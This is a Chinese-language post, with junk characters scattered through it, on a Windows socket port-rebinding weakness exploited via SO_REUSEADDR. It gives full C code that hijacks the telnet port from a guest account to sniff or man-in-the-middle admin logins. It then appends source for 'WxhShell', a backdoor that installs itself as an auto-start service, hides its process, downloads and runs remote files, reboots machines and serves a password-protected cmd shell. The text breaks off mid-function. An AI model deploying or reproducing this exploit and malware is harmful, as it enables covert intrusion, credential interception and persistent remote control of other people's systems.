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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bX:ARe
O s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .`OdnLGy I
=t{ u; saddr.sin_family = AF_INET; Zq--m/ Ny>tJ~I saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4 }l,F I T)rhi: bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i[~oMwc& mk;l;!*T8 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zhDmZ hY.zwotH 这意味着什么?意味着可以进行如下的攻击: u $N2uFc c%aY6dQG&% 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $^Dx4:k<2 3+;}2x0-F 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) byYdX'd. {@u;F2? 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {iqH 27\E V=}b>Jo2j 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 9tVA.:FOZ N4%q-fi 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kne{Tp ?#^_yd|< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z4Nl{
6 bGvALz' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \d0R&vFHQ Z~tOR{q #include zQ$*!1FmN #include T1pA
<6 #include xD;5z`A3 #include ;/W;M> ^ DWORD WINAPI ClientThread(LPVOID lpParam); DYU+?[J int main() A-O@e
e { XQhBnam%
WORD wVersionRequested; Yw=Ve 0 DWORD ret; 2B7X~t>8a WSADATA wsaData; xn&G` BOOL val; <@}~Fp@ SOCKADDR_IN saddr; *]fBd<(8 SOCKADDR_IN scaddr; 2;G^>BP< int err; \+E{8&TH' SOCKET s; bIP{DxKS SOCKET sc; \FSkI0 int caddsize; euS"C* HANDLE mt; (xJ6: u DWORD tid; 0(;d<u)fS wVersionRequested = MAKEWORD( 2, 2 ); Efb>ZQ err = WSAStartup( wVersionRequested, &wsaData ); bE2^sx`( if ( err != 0 ) { 8H3|i7.1h printf("error!WSAStartup failed!\n"); @eN x:} return -1; )eNR4nF } ?5nF` [rx saddr.sin_family = AF_INET; e%&2tf4 SUXRWFl //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T^8t<S@` udDhJ? saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nsqs*$ saddr.sin_port = htons(23); BhkJ>4# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nZa.3/7dJ { z!5^UD8"W printf("error!socket failed!\n"); mxhO:.l return -1; sn&y;Vc[$ } @kUCc1LT val = TRUE; u=feR0|8 //SO_REUSEADDR选项就是可以实现端口重绑定的 >[=q9k if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,V!s w5_5m { 5 fjeBfy printf("error!setsockopt failed!\n"); ja}_u}: return -1; 4;_{* U- } /E/J< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; etj8M
y6= //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;BqYhi //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "jzU` bo rt2k if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jQzq(oDQw { ua*k{0[ ret=GetLastError(); AoL4#.r3H printf("error!bind failed!\n"); [Z|R-{" return -1; '$W@I } s)#FqB8 listen(s,2); Qwb=N while(1) *D1^Se { mc;Z#"kf caddsize = sizeof(scaddr); _rXTHo7P //接受连接请求 Tm5]M$) sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d6-a\]gF if(sc!=INVALID_SOCKET) ahA21W`k { Zf |%t mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |BnjT*_9 if(mt==NULL) 1HG~}E { v!T%xUb0 printf("Thread Creat Failed!\n"); V&<vRIsN break; ^$SI5WK&) } *VH!<k[n } fn
)m$\2 CloseHandle(mt); .v%H%z~Rl# } *SQ hXTn closesocket(s); ~h6aw WSACleanup();
,F(nkbt return 0; mL`,v
WL/` } 6Yebc_, R DWORD WINAPI ClientThread(LPVOID lpParam) eKNZ?!c= { :}0y[qc3 SOCKET ss = (SOCKET)lpParam; jKZJ0`06q SOCKET sc; NARW3\ unsigned char buf[4096]; y|U3 SOCKADDR_IN saddr; b[Sd$ACd long num; j2SJ4tB / DWORD val; * F%Wf DWORD ret; oCdWf63D //如果是隐藏端口应用的话,可以在此处加一些判断 vFLQq,?Nh //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 qc\]~]H]r saddr.sin_family = AF_INET; Bs(\e^} saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SuU,SE'TX saddr.sin_port = htons(23); RUUV"y if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E&P'@'Yk { 72R|zR printf("error!socket failed!\n"); \ni?_F(Y return -1; (:Rj:8{ } .)o<'u@Ri val = 100; JsI`# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -jdS8n4 { 4Tgy2[D?q ret = GetLastError(); r$}M,! J return -1; )WavG1 } Ecp]fUQK if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y~#m-y { 4Ei*\: ret = GetLastError(); ^WQ.' G5Q return -1; XQ]no aU } &^Q-:Kxs8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >%5Ld`c:SD { awh<CmcZ printf("error!socket connect failed!\n"); 9HrT>{@ closesocket(sc); ;X,|I) closesocket(ss); {J;[
Hf5 return -1; x9q?^\x } V/"UDof while(1) Ya{$:90(4 { bHRH2Ss //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,%7>%*nhk //如果是嗅探内容的话,可以再此处进行内容分析和记录 /MYl:>e> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @dei}!e num = recv(ss,buf,4096,0); xX$'u"dsA if(num>0) >Q#h,x~vu send(sc,buf,num,0); Ws ya:9| else if(num==0) 0w9)#e+JS break; TELN4* num = recv(sc,buf,4096,0); <5(P4cm9 if(num>0) _0dm?= send(ss,buf,num,0); _|reo6 else if(num==0) VWf&F`^B( break; 9` } `~0)}K.F closesocket(ss); a (RTb< closesocket(sc); Hc^q_{}" return 0 ; l =~EweuM } 5<ZE.'O &{E1w<uv koDIxj'%X ========================================================== x6Zhw9RV v&Xsyb0CaM 下边附上一个代码,,WXhSHELL "=<T8M LG3D3{H(. ========================================================== Z$
q{!aY `&y Qtj#
' #include "stdafx.h" 3NU{7,F #4UKkd #include <stdio.h> mU@pRjq= #include <string.h> k|V%*BvY> #include <windows.h> Nki08qZ[ #include <winsock2.h> =hD@hQi #include <winsvc.h> :Z)a&A9v #include <urlmon.h> nk=+6r6 2$ m#)*\ #pragma comment (lib, "Ws2_32.lib") *|WS, #pragma comment (lib, "urlmon.lib") \Gm$hTvB& c"HB7 #define MAX_USER 100 // 最大客户端连接数 'w//d
$+G_ #define BUF_SOCK 200 // sock buffer ou8V7 #define KEY_BUFF 255 // 输入 buffer xVYy`_| F[am2[/<A #define REBOOT 0 // 重启 q,S[[{(" #define SHUTDOWN 1 // 关机 -;]m4R)z KA~eOEjM #define DEF_PORT 5000 // 监听端口 wJc~AP)I%z rywui10x* #define REG_LEN 16 // 注册表键长度 pUbf]3 t #define SVC_LEN 80 // NT服务名长度 v'3.`aZ! N8*6sK. // 从dll定义API RE)!b
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v *'anw&Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /`6Y-8e2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u NmbR8Mx typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ub[SUeBGH 7\(mn$ // wxhshell配置信息 :c75*h` struct WSCFG { :\hcl&W: int ws_port; // 监听端口 j'L/eps?S char ws_passstr[REG_LEN]; // 口令 ]k+XL*]' A int ws_autoins; // 安装标记, 1=yes 0=no S +wy^x@@ char ws_regname[REG_LEN]; // 注册表键名 YkWv*l char ws_svcname[REG_LEN]; // 服务名 arVu`pD*n char ws_svcdisp[SVC_LEN]; // 服务显示名 ki|KtKAu_9 char ws_svcdesc[SVC_LEN]; // 服务描述信息 LAs#g||M char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @6["A'h int ws_downexe; // 下载执行标记, 1=yes 0=no 4)Jtc2z7Z\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" c_V^~hq char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j8P qc] CG#lpAs }; srS2v\1: rF@njw@ // default Wxhshell configuration /;5U-<qf struct WSCFG wscfg={DEF_PORT, y5@#leM "xuhuanlingzhe", hHA!.u4& 1, stxei
6 "Wxhshell", 6chcpP0 "Wxhshell", h2S!< "WxhShell Service", TA4>12C6 "Wrsky Windows CmdShell Service", 5:R$xgc "Please Input Your Password: ", Zc!rL0T 1, ;*{"|l qe " http://www.wrsky.com/wxhshell.exe", 5r2A^<) "Wxhshell.exe" T'^ Do/ }; ) |t;nK, y<9' 3\ // 消息定义模块
pVm]<jO char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q\DN8IJ char *msg_ws_prompt="\n\r? for help\n\r#>"; YL?2gBT char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 5&
2([ char *msg_ws_ext="\n\rExit."; 7Gh+EJJ3I char *msg_ws_end="\n\rQuit."; KUD.hK. char *msg_ws_boot="\n\rReboot..."; _BFDsQ char *msg_ws_poff="\n\rShutdown..."; WHF[l1 char *msg_ws_down="\n\rSave to "; MiK
-W gDN7ly]6M char *msg_ws_err="\n\rErr!"; ~`Y!_ '(x char *msg_ws_ok="\n\rOK!"; 1j_gQ,'20 o}4~CN9} char ExeFile[MAX_PATH]; *VX"_C0Jy= int nUser = 0; \=1$$EDS9 HANDLE handles[MAX_USER]; s!IX3rz int OsIsNt; s7d4)A% B3^F
$6= SERVICE_STATUS serviceStatus; T0;8koj^_ SERVICE_STATUS_HANDLE hServiceStatusHandle; %~e+H| )k^y<lC2a // 函数声明 ~:JoKm`vU int Install(void); aRV.;S int Uninstall(void); QjlQsN! int DownloadFile(char *sURL, SOCKET wsh); 8l.bT|#O int Boot(int flag); ApD`i+Y@ void HideProc(void); !jQj1QZR` int GetOsVer(void); G'U ! # int Wxhshell(SOCKET wsl); V?L8BRnV void TalkWithClient(void *cs); \V(w= int CmdShell(SOCKET sock); ""f'L,`{. int StartFromService(void); P:#KBF;a int StartWxhshell(LPSTR lpCmdLine); oNEjlV* <da-iY\5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |LLDaA-=0 VOID WINAPI NTServiceHandler( DWORD fdwControl ); A+=K<e @fQvAok // 数据结构和表定义 P#!^9)3 SERVICE_TABLE_ENTRY DispatchTable[] = |NdWx1 { Q]{ `m {wscfg.ws_svcname, NTServiceMain}, PyoIhe&ep {NULL, NULL} H/2dVUU };
O0^?VW$y_ ;7>k[?'e // 自我安装 "Cz0r"N int Install(void) Jn&^5,J]F8 { bu8AOtY9E- char svExeFile[MAX_PATH]; Z35(f0b HKEY key; `nCVO;B strcpy(svExeFile,ExeFile); O#@G
.~n? :Ahw{z`H# // 如果是win9x系统,修改注册表设为自启动 J))U YJO if(!OsIsNt) { fi~jT"_CI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,W| cyQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _. &N@k RegCloseKey(key); cx~XG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pihpo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GU|(m~,` RegCloseKey(key); . 3'U(U return 0; oLS/ } [gDl<6a#4 } qKD
Nw8> } 9vckQCLM else { Z8ds`KZM x~JOg57up // 如果是NT以上系统,安装为系统服务 +>ld SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {%oxzdPc if (schSCManager!=0) BR-4L2[ { udOdXz6K? SC_HANDLE schService = CreateService 7O-fc1OTv ( P~*'/!@ schSCManager, a$5P\_ wscfg.ws_svcname, ?J@P0(M# wscfg.ws_svcdisp, 7Ucq(,\./ SERVICE_ALL_ACCESS, &Nw[J5-"k SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +O)Y7k{?C5 SERVICE_AUTO_START, u[HamGxx$u SERVICE_ERROR_NORMAL, 0VZC7@ svExeFile, 4(dgunP NULL, :6qt[(<" NULL, ]
T<#bNK\1 NULL, |va^lT NULL, 7Bym? NULL 6~-,.{Y ); 5.LfN{gE) if (schService!=0) +1]A$|qyW { lhPxMMS`j CloseServiceHandle(schService); +!K*FU=). CloseServiceHandle(schSCManager); u}.mJDL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d2?#&d'aq strcat(svExeFile,wscfg.ws_svcname); xErAs}| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YrsE
88QqI RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Pj1 k?7 RegCloseKey(key); F_Gc_eT return 0; RF= $SMTk } &I:ZJuQ4 } OtbPrF5 CloseServiceHandle(schSCManager); ^fQa whub } CK#i 6!~r } NX5$x/uz .^6yCs5~` return 1; eQwvp`@" } }]Nt:_UCX 3RF`F
i // 自我卸载 U4[GA4DZ int Uninstall(void) 2wJa:=$ { #5=W[+4eN HKEY key; CFUn1^?0 [1mEdtqf* if(!OsIsNt) { NwVhJdo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]=p^32 RegDeleteValue(key,wscfg.ws_regname); BV6B:=E0 RegCloseKey(key); $*:g~#bh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N@Q_5t0bk RegDeleteValue(key,wscfg.ws_regname); a 2[rY RegCloseKey(key); e{H( return 0; n]6-`fpD } Vg(M ^2L } Iw^Q>MrT } k=cDPu - else { 6OB3%R'p h\2iArw8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F'-XAI
<3 if (schSCManager!=0) kA> e*6 { lD{*Z spz SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f40OVT@g if (schService!=0) 9o4h~Imu { 1xr2x; if(DeleteService(schService)!=0) { (I#mo2 CloseServiceHandle(schService); BT`g'#O CloseServiceHandle(schSCManager); G)q;)n;*= return 0; ia (&$a8X } ROXa/ CloseServiceHandle(schService); ~uV(/?o% } FU(2,Vl CloseServiceHandle(schSCManager); gLRDd~H } Omi/sKFMi } I9dX\w} =ym<yI< return 1; vOLa.%X]h } 5,4m_fBoW {9@u:(<X9 // 从指定url下载文件 d tE"1nR int DownloadFile(char *sURL, SOCKET wsh) NwxDxIIH/) { '\GU(j HRESULT hr; 1:r#m- \ char seps[]= "/"; #h P>IU char *token; &F:.OVzX char *file;
2C1NDrS;} char myURL[MAX_PATH]; %P{3c~?DH char myFILE[MAX_PATH]; uQ&> Wk S{3c}>n strcpy(myURL,sURL); z4~p(tl token=strtok(myURL,seps); (L1F],Au while(token!=NULL) wFMw&=j { 4*D"*kR; file=token; /2
hk 9XM token=strtok(NULL,seps); &po!X ) } EqGpo_ Sfa=AV7K GetCurrentDirectory(MAX_PATH,myFILE); 1*|/N}g) strcat(myFILE, "\\"); )Ay 90Wt strcat(myFILE, file); .lq83;
k send(wsh,myFILE,strlen(myFILE),0); &r,)4q+ send(wsh,"...",3,0); g~$UU(HX hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `/?'^A%Ik if(hr==S_OK) =6+99<G|%M return 0; +xgP&nw[- else 3Fxr= return 1; a4gX@&it_k AWE ab } awI{%u_(nA CUHT5J*sY // 系统电源模块 "Zx<hL* int Boot(int flag) nt+OaXe5D { ~A1!!rJX HANDLE hToken; aj,o<J TOKEN_PRIVILEGES tkp; 1;DRcVyS+ V#b=mp if(OsIsNt) { @OGG]0
J OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fUGappb LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #vhN$H :&q tkp.PrivilegeCount = 1; N|Ag8/2A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q3#+G:nh AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (Q @'fb9z if(flag==REBOOT) { x$bUd 9 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aL`wz ! return 0; 7(oA(l1V } VX82n,'=t else { TVx
`&C+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "wuO[c&%/ return 0; jd,i=P% } %q~q,=H$] } fm`V 2'Rm else { A)V*faD if(flag==REBOOT) { 01n132k if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y4LUC;[n return 0; ggiy{CdR } oP9 y@U else { ?Pp*BB,*y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IVkB)9IW return 0; pf107S } *z)gSX } ,[t?$Cy; c{_JPy return 1; \@WVeFr } dS3\P5D.*c 1+WVh7gF // win9x进程隐藏模块 i>]PW|]
void HideProc(void) 5 7t.Ud { 1kw*Q: )dqNN tS HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mJ=V<_ if ( hKernel != NULL ) \wk;Bo { =JgR c7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R ZQH#+*t} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zSQy
FreeLibrary(hKernel); j6Sg~nRh } <+-n
lK4 z<mN-1PM7& return; ]X77?Zz9 } N0-J=2 DKu$u ]Z // 获取操作系统版本 'QxJU$ int GetOsVer(void) 7U_ob"`JV { VXWV Pj# OSVERSIONINFO winfo; u~j
H
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VQ|{Q} GetVersionEx(&winfo); %),u0:go if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !C05;x8{ return 1; Zfcf?&>< else i9XpP(mf return 0; Q,^/Lm|]k } t@9-LYbL
&
]]l0B // 客户端句柄模块 /\# f@Sg int Wxhshell(SOCKET wsl) c6#E gN,X { 2/folTR7 SOCKET wsh; U|x Hy+N struct sockaddr_in client; D|*w6p("z DWORD myID; L;u 5 Wp8>Gfb2 while(nUser<MAX_USER) Ycspdl+(S$ { hN6wp_ int nSize=sizeof(client); Vjv6d&Q wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `Ucj_6&Tqs if(wsh==INVALID_SOCKET) return 1; D@gC(&U/6 k|?[EWIi^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?L7DVwVa,I if(handles[nUser]==0) m2jts(stp closesocket(wsh); T+@i;M else <
$e#o H nUser++; 69)"T{7 } &Wcz~Gx3Q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Se'SDJl= 4n6AK`E return 0; =<3HOOC } b7dsi|Yo 1Ub=RyB // 关闭 socket k}H7bZug void CloseIt(SOCKET wsh) aH?Ygzw { <_<zrXc] closesocket(wsh); g"5Kth nUser--; P>iZgv ExitThread(0); eG!ma` v } 'QG`^@Z W1X3ArP]m8 // 客户端请求句柄 Ovk=s,a)K
void TalkWithClient(void *cs) BLt58LYGX { qX5>[qf- [YULvWAJ SOCKET wsh=(SOCKET)cs; H
Eq{TUTr char pwd[SVC_LEN]; QJ;dw8 char cmd[KEY_BUFF]; 1g{}O^ul char chr[1]; C 8wGbU6` int i,j; vw;aL#PP f0sLe 3 while (nUser < MAX_USER) { 03v+eT j;@a~bks6z if(wscfg.ws_passstr) { MWA,3I\. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sIf]e'@AC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z/G#3-5)p //ZeroMemory(pwd,KEY_BUFF); mz6]=]1w i=0; RVttk )Ny while(i<SVC_LEN) { TG$#aX\' >"bW' // 设置超时 iSezrN fd_set FdRead; d;Y Kw1 struct timeval TimeOut; zhs@YMY FD_ZERO(&FdRead); \^"Vqx FD_SET(wsh,&FdRead); F<g&t|@ TimeOut.tv_sec=8; 6c-3+,Y"# TimeOut.tv_usec=0; ?[zw5fUDS int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AF"7 _ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); InbB2l4G UzaAL9k if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TU^ZvAO& pwd =chr[0]; l 1k&@1" if(chr[0]==0xd || chr[0]==0xa) { tUxH6IS pwd=0; \XV8t|* break; /Q(boY{ } Vs l,u i++; uc@4fn } ZN$%\,< b`D]L/}pr // 如果是非法用户,关闭 socket (Q=o9o:b if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SkmTW@v } -`XS2 XJeWhk3R9 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ptT-{vG send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 02t({>` 4;Ucas6 while(1) { E|c(#P{ 1k4\zVgi ZeroMemory(cmd,KEY_BUFF); %_5#2a B;(U?gC // 自动支持客户端 telnet标准 1Y $%| ` j=0; ,Kj>F2{ while(j<KEY_BUFF) { a)pc+w# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mbkt7. ,P cmd[j]=chr[0]; a($7J6]M if(chr[0]==0xa || chr[0]==0xd) { (@XQ]S}L cmd[j]=0; Tph^o^ break; <DR|r } "NA<^2W@J j++; XyN
" Jr } $+GDPYm' u*2?Gky // 下载文件 R;Dj70g if(strstr(cmd,"http://")) { ;LP3 send(wsh,msg_ws_down,strlen(msg_ws_down),0); Wjl2S+Cc if(DownloadFile(cmd,wsh)) Dch\k<Te send(wsh,msg_ws_err,strlen(msg_ws_err),0); o0`']-)*2 else <L4$f(2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3S+9LOrhY } PF/K&&9} else { #)~u
YQ 63l&
ihj switch(cmd[0]) { f4P({V ^zV_vB)n // 帮助 C\5G43` case '?': { QyVAs ; send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L#K`F8Wi= break; <">epbV6 } C3W4:kbau // 安装 kR97)}Y case 'i': { dX/7n= if(Install()) Oe\(=R send(wsh,msg_ws_err,strlen(msg_ws_err),0); *z69ti/
t else
"LB
MYZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pTq DPU break; !Ea >tQ| } ^4$4x // 卸载 i \NV<I
case 'r': {
1xS+r)_n@ if(Uninstall()) =AzPAN#e send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3A`]Rk
else j8Z;}Ps send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K\9CW%W break; E} XmZxHV } 0ex.~S_Oj4 // 显示 wxhshell 所在路径 J78.-J5 j0 case 'p': { vwu/33 char svExeFile[MAX_PATH]; *V',@NH#Os strcpy(svExeFile,"\n\r"); ni{'V4A strcat(svExeFile,ExeFile); V:y6NfL7i' send(wsh,svExeFile,strlen(svExeFile),0); ,V!"4T,Z break; 9F[3B`w
} Hh;lT // 重启 Lq>lj`> case 'b': { ds!nl1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B;N<{Gb if(Boot(REBOOT)) ULz<P send(wsh,msg_ws_err,strlen(msg_ws_err),0); bC:sd2s else { *KDTBd closesocket(wsh); LXX('d ExitThread(0); HJ]v- } >D!R)W` break; .+(V</ } F\+AA // 关机 FhY#3-jH case 'd': { &P9fM-]b
s send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kll!tT-N- if(Boot(SHUTDOWN)) r craf4% send(wsh,msg_ws_err,strlen(msg_ws_err),0); "dIWHfQB else { @ywtL8"1~ closesocket(wsh); Jfr'OD2$ % ExitThread(0); WT,I~'r=S } bT 42G[x break; n',X,P0 } !1I# L!9 // 获取shell )M0(vog case 's': { :a/rwZ[r CmdShell(wsh); 13F]7l-# closesocket(wsh); @Nsn0-B?ne ExitThread(0); (n7xYGfYS break; 8%B_nVc } 9R8q+2
// 退出 0,RYO :` case 'x': { 5@>hjXi"Y send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?[ )}N
_o# CloseIt(wsh); 8d5#vm break; d)-ZL*o } E{ c+`>CY // 离开 =5Db^ case 'q': { ~_JfI7={Jn send(wsh,msg_ws_end,strlen(msg_ws_end),0); PI%l closesocket(wsh); 9k71h`5 WSACleanup(); `{{6vb^g exit(1); UZs '[pm) break; Jkj7ty.J } kl:/PM^ } N}U+K } cy,6^d
n(Nu // 提示信息
sG#O s if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?1\I/'E9 } wicsf<] } #Q7:Mu+ L^t%p1R return; DlCN } B)@Xz<Q rT4Q^t" // shell模块句柄 uxL+oP0 int CmdShell(SOCKET sock) QDY uJ&!h { C2rG3X^~Jm STARTUPINFO si; l[[`-f8j ZeroMemory(&si,sizeof(si)); _Kaqx"D si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BN]o!Y si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kum@cA PROCESS_INFORMATION ProcessInfo; f3!Oc char cmdline[]="cmd"; xSN;vrLHR CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N~/X.D4e# return 0; E8kD#tL } IIY_Q9in %%X/gvaJ // 自身启动模式 yWRIh*>nE int StartFromService(void) YM;ro5_KF { \m)s"Sh. typedef struct %52e^,// { XuJyso9kA DWORD ExitStatus; d4IQ;u DWORD PebBaseAddress; bX38=.up DWORD AffinityMask; =t_+ajY% DWORD BasePriority; `m(ZX\W] ULONG UniqueProcessId; A 94:(z;{ ULONG InheritedFromUniqueProcessId; Y_n/rD> } PROCESS_BASIC_INFORMATION; Y S7lB c$[2tZ PROCNTQSIP NtQueryInformationProcess;
